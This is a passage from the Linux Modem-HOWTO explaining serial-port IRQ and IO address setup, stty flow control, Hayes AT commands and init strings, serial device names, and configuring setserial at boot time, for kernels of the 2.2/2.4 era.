Prior to kernel 2.2, serial IRQs could not be shared with each other except for most multiport boards. Starting with kernel 2.2 serial IRQs may be sometimes shared between serial ports. In order for sharing to work in 2.2 the kernel must have been compiled with CONFIG_SERIAL_SHARE_IRQ, and the serial port hardware must support sharing (so that if two serial cards put different voltages on the same interrupt wire, only the voltage that means "this is an interrupt" will prevail). Since the PCI bus specs permit sharing, any PCI card should allow sharing.

What IRQs to choose?

The serial hardware often has only a limited number of IRQs. Also you don't want IRQ conflicts. So there may not be much of a choice. Your PC may normally come with ttyS0 and ttyS2 at IRQ 4, and ttyS1 and ttyS3 at IRQ 3. Looking at /proc/interrupts will show which IRQs are being used by programs currently running. You likely don't want to use one of these. Before IRQ 5 was used for sound cards, it was often used for a serial port.

Here is how Greg (original author of Serial-HOWTO) set his up in /etc/rc.d/rc.serial. rc.serial is a file (shell script) which runs at start-up (it may have a different name or location). For versions of "setserial" after 2.15 it's not always done this way anymore but this example does show the choice of IRQs.

/sbin/setserial /dev/ttyS0 irq 3        # my serial mouse
/sbin/setserial /dev/ttyS1 irq 4        # my Wyse dumb terminal
/sbin/setserial /dev/ttyS2 irq 5        # my Zoom modem
/sbin/setserial /dev/ttyS3 irq 9        # my USR modem

Standard IRQ assignments:

        IRQ  0    Timer channel 0 (May mean "no interrupt".  See below.)
        IRQ  1    Keyboard
        IRQ  2    Cascade for controller 2
        IRQ  3    Serial port 2
        IRQ  4    Serial port 1
        IRQ  5    Parallel port 2, Sound card
        IRQ  6    Floppy diskette
        IRQ  7    Parallel port 1
        IRQ  8    Real-time clock
        IRQ  9    Redirected to IRQ2
        IRQ 10    not assigned
        IRQ 11    not assigned
        IRQ 12    not assigned
        IRQ 13    Math coprocessor
        IRQ 14    Hard disk controller 1
        IRQ 15    Hard disk controller 2

There is really no Right Thing to do when choosing interrupts. Try to find one that isn't being used by the motherboard, or any other boards. 2, 3, 4, 5, 7, 10, 11, 12 or 15 are possible choices. Note that IRQ 2 is the same as IRQ 9. You can call it either 2 or 9, the serial driver is very understanding. If you have a very old serial board it may not be able to use IRQs 8 and above.

Make sure you don't use IRQs 1, 6, 8, 13 or 14! These are used by your motherboard. You will make her very unhappy by taking her IRQs. When you are done you might want to double-check /proc/interrupts when programs that use interrupts are being run and make sure there are no conflicts.

6.8 Choosing Addresses --Video card conflict with ttyS3

Here's a problem with some old serial cards. The IO address of the IBM 8514 video board (and others like it) is allegedly 0x?2e8 where ? is 2, 4, 8, or 9. This may conflict with the IO address of ttyS3 at 0x02e8. Your may think that this shouldn't happen since the addresses are different in the high order digit (the leading 0 in 02e8). You're right, but a poorly designed serial port may ignore the high order digit and respond to any address that ends in 2e8. That is bad news if you try to use ttyS3 (ISA bus) at this IO address.

For the ISA bus you should try to use the default addresses shown below. PCI cards use different addresses so as not to conflict with ISA addresses. The addresses shown below represent the first address of an 8-byte range. For example 3f8 is really the range 3f8-3ff. Each serial device (as well as other types of devices that use IO addresses) needs its own unique address range. There should be no overlaps (conflicts). Here are the default addresses for commonly used serial ports on the ISA bus:

ttyS0 address 0x3f8
ttyS1 address 0x2f8
ttyS2 address 0x3e8
ttyS3 address 0x2e8

Suppose there is an address conflict (as reported by setserial -g /dev/ttyS*) between a real serial port and another port which does not physically exist (and shows UART: unknown). Such a conflict shouldn't cause problems but it sometimes does in older kernels. To avoid this problem don't permit such address conflicts or delete /dev/ttySx if it doesn't physically exist.

6.9 Set IO Address & IRQ in the hardware (mostly for PnP)

After it's set in the hardware don't forget to insure that it also gets set in the driver by using setserial. For non-PnP serial ports they are either set in hardware by jumpers or by running a DOS program ("jumperless") to set them (it may disable PnP). The rest of this subsection is only for PnP serial ports. Here's a list of the possible methods of configuring PnP serial ports:

  • Using a PnP BIOS CMOS setup menu (usually only for external devices on ttyS0 (Com1) and ttyS1 (Com2))
  • Letting a PnP BIOS automatically configure a PnP serial port See Using a PnP BIOS to I0-IRQ Configure
  • Doing nothing if the serial driver recognized your card OK
  • Using isapnp for a PnP serial port non-PCI)
  • Using setpci (pciutils or pcitools) for the PCI bus

The IO address and IRQ must be set (by PnP) in their registers each time the system is powered on since PnP hardware doesn't remember how it was set when the power is shut off. A simple way to do this is to let a PnP BIOS know that you don't have a PnP OS and the BIOS will automatically do this each time you start. This might cause problems in Windows (which is a PnP OS) if you start Windows with the BIOS thinking that Windows is not a PnP OS. See Plug-and-Play-HOWTO.

Plug-and-Play (PnP) was designed to automate this io-irq configuring, but for Linux it initially made life much more complicated. In modern Linux (2.4 kernels --partially in 2.2 kernels), each device driver has to do it's own PnP (using supplied software which it may utilize). There is unfortunately no centralized planning for assigning IO addresses and IRQs as there is in MS Windows. But it usually works out OK in Linux anyway.

Using a PnP BIOS to I0-IRQ Configure

While the explanation of how to use setpci or isapnp for io-irq configuring should come with such software, this is not the case if you want to let a PnP BIOS do such configuring. Not all PnP BIOS can do this. The BIOS usually has a CMOS menu for setting up the first two serial ports. This menu may be hard to find. For an "Award" BIOS it was found under "chipset features setup" There is often little to choose from. Unless otherwise indicated in a menu, these first two ports normally get set at the standard IO addresses and IRQs. See Serial Port Device Names & Numbers

Whether you like it or not, when you start up a PC a PnP BIOS starts to do PnP (io-irq) configuring of hardware devices. It may do the job partially and turn the rest over to a PnP OS (which Linux is in some sense) or if thinks you don't have a PnP OS it may fully configure all the PnP devices but not configure the device drivers. This is what you want but it's not always easy to figure out exactly what the PnP BIOS has done.

If you tell the BIOS that you don't have a PnP OS, then the PnP BIOS should do the configuring of all PnP serial ports --not just the first two. An indirect way to control what the BIOS does (if you have Windows 9x on the same PC) is to "force" a configuration under Windows. See Plug-and-Play-HOWTO and search for "forced". It's easier to use the CMOS BIOS menu which may override what you "forced" under Windows. There could be a BIOS option that can set or disable this "override" capability.

If you add a new PnP device, the BIOS should PnP configure it. It could even change the io-irq of existing devices if required to avoid any conflicts. For this purpose, it keeps a list of non-PnP devices provided that you have told the BIOS how these non-PnP devices are io-irq configured. One way to tell the BIOS this is by running a program called ICU under DOS/Windows.

But how do you find out what the BIOS has done so that you set up the device drivers with this info? The BIOS itself may provide some info, either in its setup menus of via messages on the screen when you turn on your computer. See What is set in my serial port hardware?. Other ways of finding out is to use lspci for the PCI bus or isapnp --dumpregs for the ISA bus. The cryptic results it shows you may not be clear to a novice.

6.10 Giving the IRQ and IO Address to Setserial

Once you've set the IRQ and IO address in the hardware (or arranged for it to be done by PnP) you also need to insure that the "setserial" command is run each time you start Linux. See the subsection Boot-time Configuration


Modem-HOWTO : Configuring the Serial Driver (high-level) "stty"

 Next Previous Contents

7. Configuring the Serial Driver (high-level) "stty"

7.1 Introduction

This configuring is normally done by your communications program such as wvdial. It may do much of it without even letting you know what it's done. In olden days it was done with the "stty" utility. If you set something with stty, the communications program may change the setting so it's usually best to just let the communications program handle it. See What is stty ?

7.2 Hardware flow control (RTS/CTS)

See Flow Control for an explanation of it. You should always use hardware flow control if possible. Your communication program or "getty" should have an option for setting it (and if you're in luck it might be enabled by default). It needs to be set both inside your modem (by an init string or default) and in the device driver. Your communication program should set both of these (if you configure it right).

If none of the above will fully enable hardware flow control. Then you must do it yourself. For the modem, make sure that it's either done by the init string or is on by default. If you need to tell the device driver to do it is best done on startup by putting it in a file that runs at boot-time. See the subsection Boot-time Configuration You need to add the following to such a file for each serial port (example is ttyS2) you want to enable hardware flow control on:

stty crtscts < /dev/ttyS2
or
stty -F /dev/ttyS2 crtscts

If you want to see if flow control is enabled do the following: In minicom (or the like) type AT&V to see how the modem is configured and look for &K3 which means hardware flow control. Then without exiting the communications program (such as minicom) see if the device driver knows about it by typing: stty -F /dev/ttyS2 -a. Look for "crtscts" (without a disabling minus sign).

7.3 Speed Settings

Besides flow control there is speed. See What Speed Should I Use with My Modem. There's also are parity and bits-per-byte settings. Normally the port is set by the communications program at 8N1 (8-bits per byte, No parity, and 1 stop bit). If you're running PPP then you must use 8N1. So if you get a complaint that it's not 8-bit clean then it's likely not 8N1 as it should be.

7.4 Ignore CD Setting: clocal

If the modem is not sending a CD signal and clocal is disabled (stty shows -clocal) then a program may not be able to open the serial port. If the port can't open, the program may just hang, waiting (often in vain) for a CD signal from the modem. Actually, a skilled programmer can write the program in such a way as to force the port to open even when CD and -clocal say not to so it's not always a problem.

One way to avoid any possible problems is to send "AT&C" to the modem so that CD from the modem will always be on. CD always-on is fine for dial-out but for dial-in the CD signal is sometimes (but rarely) used to detected an incoming call.

Minicom sets clocal automatically when it starts up so there is no problem. But version 6.0.192 of Kermit hung when I set -clocal and tried to "set line ...".

Here's a problem that existed prior to the year 2000 or thereabouts. It's since been fixed. If -clocal is set and there is no CD signal, then the "stty" command will hang and there is seemingly no way to set clocal (except by running minicom). But minicom will restore -clocal when it exits. One way to get out of this is to use minicom to send the "AT&C" to the modem (to get the CD signal) and then exit minicom with no reset so that the CD signal always remains on. Then you may use stty again.

7.5 What is stty ?

stty is something like setserial but it sets the speed (baud rate), hardware flow control, and other parameters of a serial port. Typing "stty -F /dev/ttyS2 -a" should show you how ttyS2 is configured. Most of the stty settings are for things that you never need to use with modems. Many of the setting are only needed for Text-Terminals (and some are only needed for antique terminals of the 1970s). Your communication package should automatically set up the several settings needed for modems. For this reason you normally don't need to use stty so it's not covered much in this Modem-HOWTO. But stty is sometimes useful for trouble-shooting. More is said about stty in the Serial-HOWTO or Text-Terminal-HOWTO..


Modem-HOWTO : Modem Configuration (excluding serial port)

 Next Previous Contents

8. Modem Configuration (excluding serial port)

8.1 Finding Your Modem

Before spending a lot of time deciding how to configure your modem, you first need to make sure it can be found and that AT-commands and the like can be sent to it. So I suggest you first give it a very simple configuration using the communication program you will be using on the port and see it it works. If this works you may then want to improve on the configuration, If not then see My Modem is Physically There but Can't be Found. A winmodem may be hard to find and will not work under Linux.

8.2 AT Commands

While the serial port on which a modem resides requires configuring, so does the modem itself. The modem is configured by sending AT commands (or the like) to it on the same serial line that is used to send data.

Most modems use an AT command set. These are cryptic and short ASCII commands where all command strings must be prefaced by the letters AT. AT means: ATtention, expect a command to follow. For example: ATZ&K3<return> This is an AT-command string with two commands here: Z and &K3. Z is short for Z0 and a few modems require that you use Z0 instead of just Z. It's like this for other commands ending in 0. The command string is terminated by a return character (use the <enter> key if you are manually typing it). A string that's too long (40 or more characters) may not work on older modems. You may use either uppercase or lowercase letters.

Unfortunately there are many different variations of the AT command set so that what works for one modem may or may not work for another modem. Thus there is no guarantee that the AT commands given in this section will work on your modem.

Such command strings are either automatically sent to the modem by communication programs or are manually typed in by you. Most communication programs provide a screen where you may change (edit) and save the init string that the communication program will use. The modem itself has a stored configuration (profile) which is like a long init string. It represents the configuration of the modem when it's first tuned on. You may change it to suit your taste. In most cases there are a few different such configurations (profiles) and there are ways to designate one of them to be active.

If you have a manual for your modem (either on paper or on floppy disk) you might find AT-commands there. 3Com modems (and others ??) have AT-Command help files built into the modem so if you type say "AT$" to the modem it will display some "online help".

You can also find info on AT commands on the Internet. You should first try a site for your modem manufacturer. If this doesn't work out then you can search the Internet using terms that are from AT commands such as &C1, &D3, etc. This will tend to find sites that actually list AT-Commands instead of sites that just talk about them in general. You might also try a few of the sites listed in the subsection Web Sites. Be warned that the AT-commands for a different brand of modem may be somewhat different.

8.3 Init Strings: Saving and Recalling

The examples given in this subsection are from the Hayes AT modem command set. All command strings must be prefaced by the two letters AT. For example: AT&C1&D3^M (^M is the return character). When a modem is powered on, it automatically configures itself with one of the configurations it has stored in its non-volatile memory. If this configuration is satisfactory there is nothing further to do.

If it's not satisfactory, then one may either alter the stored configuration or configure the modem each time you use it by sending it a string of commands known as an "init string" (= initialization string). Normally, a communication program does this. What it sends will depend on how you configured the communications program. Your communication program should allow you to edit the init string and change it to whatever you want. Sometimes the communications program will let you select the model of your modem and then it will use an init string that it thinks is best for that modem.

The configuration of the modem when it's first powered on may be expressed by an init string. You might think of this as the default "string" (called a profile). If your communications program sends the modem another string (the init string), then this string will modify the default configuration. For example, if the init string only contains two commands, then only those two items will be changed. However, some commands will recall a stored profile from inside the modem so a single such command in the init string can thereby change everything in the configuration.

Modern modems have a few different stored profiles to choose from that are stored in the modem's non-volatile memory (it's still there when you turn it off). In my modem there are two factory profiles (0 and 1, neither of which you can change) and two user defined profiles (0 and 1) that the user may set and store. Your modem may have more. To view some of these profiles send the command &V. At power-up one of the user-defined profiles is loaded. For example, if you type the command &Y0 (just Y0 for a 3Com modem) then in the future profile 0 will be used at power-on.

There are also commands to load (activate) any of the stored profiles. Such a load command may be put in an init string. Of course if it loads the same profile that was automatically loaded at power-up, nothing is changed (unless the active profile has been modified since power-up). Since your profile could have thus been modified it's a good idea to use some kind of an init string even if it does nothing more than load a stored profile.

Examples of loading saved profiles:
Z0 loads user-defined profile 0 and resets (hangs up, etc.)
&F1 loads factory profile 1

Once you have sent commands to the modem to configure it the way you want (such as loading a factory profile and modifying it a little) you may save this as a user-defined profile:
&W0 saves the current configuration to user-profile 0.

Many people don't bother saving a good configuration in their modem, but instead, send the modem a longer init string each time the modem is used. Another method is to restore the factory default by &F1 at the start of the init string and then modify it a little by adding a few other commands to the end of the init string. Since there is no way to modify the factory default this prevents anyone from changing the configuration by modifying (and saving) the user-defined profile.

You may choose an init string supplied by someone else that they think is right for your modem. Some communication programs have a library of init strings to select from. The most difficult method (and one which will teach you the most about modems) is to study the modem manual and write one yourself. You could save this configuration inside the modem so that you don't need an init string. A third alternative is to start with an init string that someone else wrote, but modify it to suit your purposes.

If you look at init strings used by communication programs you may see symbols which are not valid modem commands. These symbols are commands to the communication program itself and will not be sent to the modem. For example, may mean to pause briefly.

Where is my "init string" so I can modify it ?

This depends on your communication program (often a PPP program). If this is the latest version of Modem-HOWTO send me info for other cases.

  • Gnome: run pppsetup
  • wvdial: edit /etc/wvdial.conf
  • minicom: hit ^Ao (or possibly ALT-o), then select "Modem and Dialing"

8.4 Other AT Modem Commands

For dial-in see Dial-in Modem Configuration. The rest of this section is mostly what was in the old Serial-HOWTO. All strings must start with AT. Here's a few Hayes AT codes that should be in the string (if they are not set by using a factory default or by a saved configuration).

  • E1 command echo ON
  • Q0 result codes are reported
  • V1 result codes are verbose
  • S0=0 never answer (uugetty does this with the WAITFOR option)

Here's some more AT commands for special purposes:

  • &C1 CD is only on when you're connected
  • &S0 DSR is always on
  • X3 Dial even if there is no dialtone (Use where dial-tones don't exist).

Note: to get his old USR Courier V.34 modem to reset correctly when DTR drops, Greg Hankins had to set &D2 and S13=1 (this sets bit 0 of register S13). This has been confirmed to work on USR Sportster V.34 modems as well.

Note: some old Supra modems treat CD differently than other modems. If you are using a Supra, try setting &C0 and not &C1. You must also set &D2 to handle DTR correctly.

8.5 Blacklisting

If phone number is dialed a few times with no success, some modems may blacklist a phone number. After a certain time you may try again. Some countries require this to reduce needless repeated dialing. To view the blacklist try %B. To delete the blacklist use these AT commands:

  • SR Robotics o 3COM: s40=2 or if NG try s40=7
  • Lucent: %t21,18,0
  • Rockwell: %tcb
  • Cirrus Logic: *nc9

8.6 What AT Commands are Now Set in my Modem?

You may try to use minicom for viewing your modem profile. It's best not to have any other process running on the modem port when you do this. If you have set up minicom for your modem, then you may type on the command line: minicom -o to start minicom without restoring the saved modem profile. Then type at&v to display the profile. To exit minicom without disturbing this profile, use the q (quit) command for exiting without resetting.

The above may not work for various reasons. If the modem has been set not to echo result codes it may not even display any profile. If there is another process running on the modem port at the same time, some of what the modem sends to you is likely to be read by the other process so you will see only part of the profile. Is there some way to temporarily stop the other process on the port so it will not interfere? I tried the "stop" signal using the "kill" command but it didn't work. If this is the latest version of this HOWTO, let me know if you find a way to do it.

If you have at least one process running on the modem port and kill them, the modem's profile may be reset so you will not observe what the original profile was. This will happen if you kill getty (or it's replacements: login or bash) and have &D3 set. The killing of getty (or the like) will drop DTR and reset the modem's profile to the power-on state. To keep getty from respawning when killed, comment it out in /etc/inittab and do an "init q".

8.7 Modem States (or Modes)

Since the channel for sending AT commands to the modem is the same channel that is used for the flow of data (files, packets, etc.) then it's important to cleanly separate the AT commands from the data.

When the modem is first turned on it's in the command mode (also called terminal mode, idle state or AT-command mode). Anything sent to it from the PC is assumed to be an AT command and not data. Then if a dial command is sent to it (ATD...), it dials and connects to another modem. It's now in the on-line data mode (connected) and sends and receives data (such as Internet pages). In this mode AT command one trys to send it will not work but will be transmitted to the other modem instead. Except for the escape command. This is +++ with a minimum time delay both at the start and end. The time delay allows the modem to determine that it is likely a real escape and not just +++ in a file being transmitted.

So we have two states so far: AT-command and on-line data. But there is a third important state which is sort of a combination of these two. It's the on-line command mode. This is when the modem maintains a connection (without sending/receiving data) but anything sent from the PC is interpreted as an AT command. This is the state reached with a +++ escape signal or by a DTR drop from the PC provided the &D1 has been set. Then one can send AT commands to the modem including commands which will leave this state and go to one of the other two states.

There are other states also: dialing state and handshaking state but they normally lead to the connected (on-line) state. If they don't then the modem should hang up, thereby returning to the initial AT-command (or idle) state.


Modem-HOWTO : Serial Port Devices /dev/ttyS2, (or /dev/ttys/2) etc.

 Next Previous Contents

9. Serial Port Devices /dev/ttyS2, (or /dev/ttys/2) etc.

For creating devices in the device directory see:

9.1 Devfs (The new Device File System)

This is a new type of device interface to Linux. It's optional starting with kernel 2.4. It's more efficient than the conventional interface and makes it easy to deal with a huge number of devices. The device names have all changed as well. But there's an option to continue using the old names. For a detailed description of it see: http://www.atnf.csiro.au/~rgooch/linux/docs/devfs.html

The name changes (if used) are: ttyS2 becomes tts/2 (Serial port), tty3 becomes vc/3 (Virtual Console), ptyp1 becomes pty/m1 (PTY master), ttyp2 becomes pty/s2 (PTY slave). "tts" looks like a directory which contains devices "files": 0, 1, 2, etc. All of these new names should still be in the /dev directory although optionally one may put them elsewhere.

9.2 Serial Port Device Names & Numbers

Devices in Linux have major and minor numbers (unless you use the new devfs). The serial port ttySx (x=0,1,2, etc.) has major number 4. You may see this (and the minor numbers too) by typing: "ls -l ttyS*" in the /dev directory.

There formerly was a "cua" name for each serial port and it behaved just a little differently. For example, ttyS2 would correspond to cua2. The cua major number was 5 and minor numbers started at 64. You may still have the cua devices in your /dev directory but they are now deprecated. Their drivers behave slightly different than for the ttyS ones. name="cua Device Obsolete">."')

Dos/Windows use the COM name while the setserial program uses tty00, tty01, etc. Don't confuse these with dev/tty0, dev/tty1, etc. which are used for the console (your PC monitor) but are not serial ports. The table below is for the "standard" case (but yours could be different). The major/minor numbers don't exist with the devfs.

                            ISA IO                              devfs usb
 dos            major minor address  devfs       devfs usb      acm modem
COM1  /dev/ttyS0  4,  64;   3F8   /dev/tts/0  /dev/usb/tts/0 /dev/usb/acm/0
COM2  /dev/ttyS1  4,  65;   2F8   /dev/tts/1  /dev/usb/tts/1 /dev/usb/acm/1
COM3  /dev/ttyS2  4,  66;   3E8   /dev/tts/2  /dev/usb/tts/2 /dev/usb/acm/2
COM4  /dev/ttyS3  4,  67;   2E8   /dev/tts/3  /dev/usb/tts/3 /dev/usb/acm/3

9.3 USB (Universal Serial Bus) Ports

The serial ports on the USB are: /dev/ttyUSB0, /dev/ttyUSB1, etc. The devfs names for these are: /dev/usb/tts/0, /dev/usb/tts/1, etc. For many modems they are /dev/usb/acm/0, etc. (in devfs notation). For more info see the usb subdirectory in the kernel documentation directory for files: acm and usb-serial.

9.4 Link ttySN to /dev/modem

On some installations, two extra devices will be created, /dev/modem for your modem and /dev/mouse for a mouse. Both of these are symbolic links to the appropriate serial device in /dev which you specified during the installation Except if you have a bus mouse, then /dev/mouse will point to the bus mouse device).

Formerly (in the 1990s) the use of /dev/modem was discouraged since lock files might not realize that it was really say /dev/ttyS2. The newer lock file system doesn't fall into this trap so it's now OK to use such links.

9.5 cua Device Obsolete

Each ttyS device has a corresponding cua device. But the cua device is deprecated so it's best to use ttyS (unless cua is required). There is a difference between cua and ttyS but a savvy programmer can make a ttyS port behave just like a cua port so there is no real need for the cua anymore. Except that some older programs may need to use the cua.

What's the difference? The main difference between cua and ttyS has to do with what happens in a C-program when an ordinary "open" command tries to open the port. If a cua port has been set to check modem control signals, the port can be opened even if the CD modem control signal says not to. Astute programming (by adding additional lines to the program) can force a ttyS port to behave this way also. But a cua port can be more easily programmed to open for dialing out on a modem even when the modem fails to assert CD (since no one has called into it and there's no carrier). That's why cua was once used for dial-out and ttyS used for dial-in.

Starting with Linux kernel 2.2, a warning message is put in the kernel log when one uses cua. This is an omen that cua is defunct and should be avoided if possible.


Modem-HOWTO : Interesting Programs You Should Know About

 Next Previous Contents

10. Interesting Programs You Should Know About

10.1 What is setserial ?

This part is in 3 HOWTOs: Modem, Serial, and Text-Terminal. There are some minor differences, depending on which HOWTO it appears in.

Introduction

If you have a Laptop (PCMCIA) don't use setserial until you read Laptops: PCMCIA. setserial is a program which allows you to tell the device driver software the I/O address of the serial port, which interrupt (IRQ) is set in the port's hardware, what type of UART you have, etc. Since there's a good chance that the serial ports will be automatically detected and set, many people never need to use setserial. In any case setserial will not work without either serial support built into the kernel or loaded as a module. The module may get loaded automatically if you (or a script) tries to use setserial.

Setserial can also show how the driver is currently set. In addition, it can be made to probe the hardware I0 port addresses to try to determine the UART type and IRQ, but this has severe limitations. See Probing. Note that it can't set the IRQ or the port address in the hardware of PnP serial ports (but the plug-and-play features of the serial driver may do this). It can't read the PnP data stored in configuration registers in the hardware.

If you only have one or two built-in serial ports, they will usually get set up correctly without using setserial. Otherwise, if you add more serial ports (such as a modem card) you may need to deal with setserial. Besides the man page for setserial, check out info in /usr/doc/setserial.../ or /usr/share/doc/setserial. It should tell you how setserial is handled in your distribution of Linux.

Setserial is often run automatically at boot-time by a start-up shell-script for the purpose of assigning IRQs, etc. to the driver. Setserial will only work if the serial module is loaded (or if the equivalent was compiled into your kernel). If the serial module gets unloaded later on, the changes previously made by setserial will be forgotten by the kernel. But recent (2000) distributions may contain scripts that save and restore this. If not, then setserial must be run again to reestablish them. In addition to running via a start-up script, something akin to setserial also runs earlier when the serial module is loaded (or the like). Thus when you watch the start-up messages on the screen it may look like it ran twice, and in fact it has.

Setserial does not set either IRQ's nor I/O addresses in the serial port hardware itself. That is done either by jumpers or by plug-and-play. You must tell setserial the identical values that have been set in the hardware. Do not just invent some values that you think would be nice to use and then tell them to setserial. However, if you know the I/O address but don't know the IRQ you may command setserial to attempt to determine the IRQ.

You can see a list of possible commands by just typing setserial with no arguments. This fails to show you the one-letter options such as -v for verbose which you should normally use when troubleshooting. Note that setserial calls an IO address a "port". If you type:

setserial -g /dev/ttyS*
you'll see some info about how that device driver is configured for your ports. Note that where it says "UART: unknown" it probably means that no uart exists. In other words you probably have no such serial port and the other info shown about the port is meaningless and should be ignored. If you really do have such a serial port, setserial doesn't recognize it and that needs to be fixed.

If you add -a to the option -g you will see more info although few people need to deal with (or understand) this additional info since the default settings you see usually work fine. In normal cases the hardware is set up the same way as "setserial" reports, but if you are having problems there is a good chance that "setserial" has it wrong. In fact, you can run "setserial" and assign a purely fictitious I/O port address, any IRQ, and whatever uart type you would like to have. Then the next time you type "setserial ..." it will display these bogus values without complaint. They will also be officially registered with the kernel as displayed (at the top of the screen) by the "scanport" command. Of course the serial port driver will not work correctly (if at all) if you attempt to use such a port. Thus when giving parameters to "setserial" anything goes. Well almost. If you assign one port a base address that is already assigned (such as 3e8) it will not accept it. But if you use 3e9 it will accept it. Unfortunately 3e9 is already assigned since it is within the range starting at base address 3e8. Thus the moral of the story is to make sure your data is correct before assigning resources with setserial.

While assignments made by setserial are lost when the PC is powered off, a configuration file may restore them (or a previous configuration) when the PC is started up again. In newer versions, what you change by setserial may get automatically saved to a configuration file. In older versions, the configuration file only changes if you edit it manually so the configuration always remains the same from boot to boot. See Configuration Scripts/Files

Probing

Prior to probing with "setserial", one may run the "scanport" command to check all possible ports in one scan. It makes crude guesses as to what is on some ports but doesn't determine the IRQ. But it's a fast first start. It may hang your PC but so far it's worked fine for me.

With appropriate options, setserial can probe (at a given I/O address) for a serial port but you must guess the I/O address. If you ask it to probe for /dev/ttyS2 for example, it will only probe at the address it thinks ttyS2 is at (2F8). If you tell setserial that ttyS2 is at a different address, then it will probe at that address, etc. See Probing

The purpose of this is to see if there is a uart there, and if so, what its IRQ is. Use "setserial" mainly as a last resort as there are faster ways to attempt it such as wvdialconf to detect modems, looking at very early boot-time messages, or using pnpdump --dumpregs. To try to detect the physical hardware use for example :
setserial /dev/ttyS2 -v autoconfig
If the resulting message shows a uart type such as 16550A, then you're OK. If instead it shows "unknown" for the uart type, then there is supposedly no serial port at all at that I/O address. Some cheap serial ports don't identify themselves correctly so if you see "unknown" you still might have a serial port there.

Besides auto-probing for a uart type, setserial can auto-probe for IRQ's but this doesn't always work right either. In one case it first gave the wrong irq but when the command was repeated it found the correct irq. In versions of setserial >= 2.15, the results of your last probe test could be automatically saved and put into the configuration file /etc/serial.conf which will be used next time you start Linux. At boot-time when the serial module loads (or the like), a probe for UARTs is made automatically and reported on the screen. But the IRQs shown may be wrong. The second report of the same is the result of a script which usually does no probing and thus provides no reliable information as to how the hardware is actually set. It only shows configuration data someone wrote into the script or data that got saved in /etc/serial.conf.

It may be that two serial ports both have the same IO address set in the hardware. Of course this is not permitted but it sometimes happens anyway. Probing detects one serial port when actually there are two. However if they have different IRQs, then the probe for IRQs may show IRQ = 0. For me it only did this if I first used setserial to give the IRQ a fictitious value.

Boot-time Configuration

When the kernel loads the serial module (or if the "module equivalent" is built into the kernel) then only ttyS{0-3} are auto-detected and the driver is set to use only IRQs 4 and 3 (regardless of what IRQs are actually set in the hardware). You see this as a boot-time message just like as if setserial had been run.

To correct possible errors in IRQs (or for other reasons) there may be a file somewhere that runs setserial again. Unfortunately, if this file has some IRQs wrong, the kernel will still have incorrect info about the IRQs. This file should run early at boot-time before any process uses the serial port. In fact, your distribution may have set things up so that the setserial program runs automatically from a start-up script at boot-time. More info about how to handle this situation for your particular distribution might be found in file named "setserial..." or the like located in directory /usr/doc/ or /usr/share/doc/.

Before modifying a configuration file, you can test out a "proposed" setserial command by just typing it on the command line. In some cases the results of this use of setserial will automatically get saved in /etc/serial.conf when you shutdown. So if it worked OK (and solved your problem) then there's no need to modify any configuration file. See New configuration method using /etc/serial.conf.

Configuration Scripts/Files

Your objective is to modify (or create) a script file in the /etc tree that runs setserial at boot-time. Most distributions provide such a file (but it may not initially reside in the /etc tree). In addition, setserial 2.15 and higher often have an /etc/serial.conf file that is used by the above script so that you don't need to directly edit the script that runs setserial. In addition just using setserial on the command line (2.15+) may ultimately alter this configuration file.

So prior to version 2.15 all you do is edit a script. After 2.15 you may need to either do one of three things: 1. edit a script. 2. edit /etc/serial.conf or 3. run "setserial" on the command line which may result in /etc/serial.conf automatically being edited. Which one of these you need to do depends on both your particular distribution, and how you have set it up.

Edit a script (required prior to version 2.15)

Prior to setserial 2.15 (1999) there was no /etc/serial.conf file to configure setserial. Thus you need to find the file that runs "setserial" at boot time and edit it. If it doesn't exist, you need to create one (or place the commands in a file that runs early at boot-time). If such a file is currently being used it's likely somewhere in the /etc directory-tree. But Redhat <6.0 has supplied it in /usr/doc/setserial/ but you need to move it to the /etc tree before using it. You might use "locate" to try to find such a file. For example, you could type: locate "*serial*".

The script /etc/rc.d/rc.serial was commonly used in the past. The Debian distribution used /etc/rc.boot/0setserial. Another file once used was /etc/rc.d/rc.local but it's not a good idea to use this since it may not be run early enough. It's been reported that other processes may try to open the serial port before rc.local runs resulting in serial communication failure. Today it's most likely in /etc/init.d/ but it isn't normally intended to be edited.

If such a file is supplied, it should contain a number of commented-out examples. By uncommenting some of these and/or modifying them, you should be able to set things up correctly. Make sure that you are using a valid path for setserial, and a valid device name. You could do a test by executing this file manually (just type its name as the super-user) to see if it works right. Testing like this is a lot faster than doing repeated reboots to get it right.

For versions >= 2.15 (provided your distribution implemented the change, Redhat didn't) it may be more tricky to do since the file that runs setserial on startup, /etc/init.d/setserial or the like was not intended to be edited by the user. See New configuration method using /etc/serial.conf.

If you want setserial to automatically determine the uart and the IRQ for ttyS3 you would add something like:

/sbin/setserial  /dev/ttyS3 auto_irq skip_test autoconfig
Do this for every serial port you want to auto configure. Be sure to give a device name that really does exist on your machine. In some cases this will not work right due to the hardware. If you know what the uart and irq actually are, you may want to assign them explicitly with "setserial". For example:

/sbin/setserial /dev/ttyS3 irq 5 uart 16550A  skip_test

New configuration method using /etc/serial.conf

Prior to setserial version 2.15, the way to configure setserial was to manually edit the shell-script that ran setserial at boot-time. See Edit a script (after version 2.15: perhaps not). Starting with version 2.15 (1999) of setserial this shell-script is not edited but instead gets its data from a configuration file: /etc/serial.conf. Furthermore you may not even need to edit serial.conf because using the "setserial" command on the command line may automatically cause serial.conf to be edited appropriately.

This was intended so that you don't need to edit any file in order to set up (or change) what setserial does each time that Linux is booted. But there are serious pitfalls because it's not really "setserial" that edits serial.conf. Confusion is compounded because different distributions handle this differently. In addition, you may modify it so that it works differently.

What often happens is this: When you shut down your PC the script that runs "setserial" at boot-time is run again, but this time it only does what the part for the "stop" case says to do: It uses "setserial" to find out what the current state of "setserial" is, and it puts that info into the serial.conf file. Thus when you run "setserial" to change the serial.conf file, it doesn't get changed immediately but only when and if you shut down normally.

Now you can perhaps guess what problems might occur. Suppose you don't shut down normally (someone turns the power off, etc.) and the changes don't get saved. Suppose you experiment with "setserial" and forget to run it a final time to restore the original state (or make a mistake in restoring the original state). Then your "experimental" settings are saved.

If you manually edit serial.conf, then your editing is destroyed when you shut down because it gets changed back to the state of setserial at shutdown. There is a way to disable the changing of serial.conf at shutdown and that is to remove "###AUTOSAVE###" or the like from first line of serial.conf. In at least one distribution, the removal of "###AUTOSAVE###" from the first line is automatically done after the first time you shutdown just after installation. The serial.conf file should contain some comments to explain this.

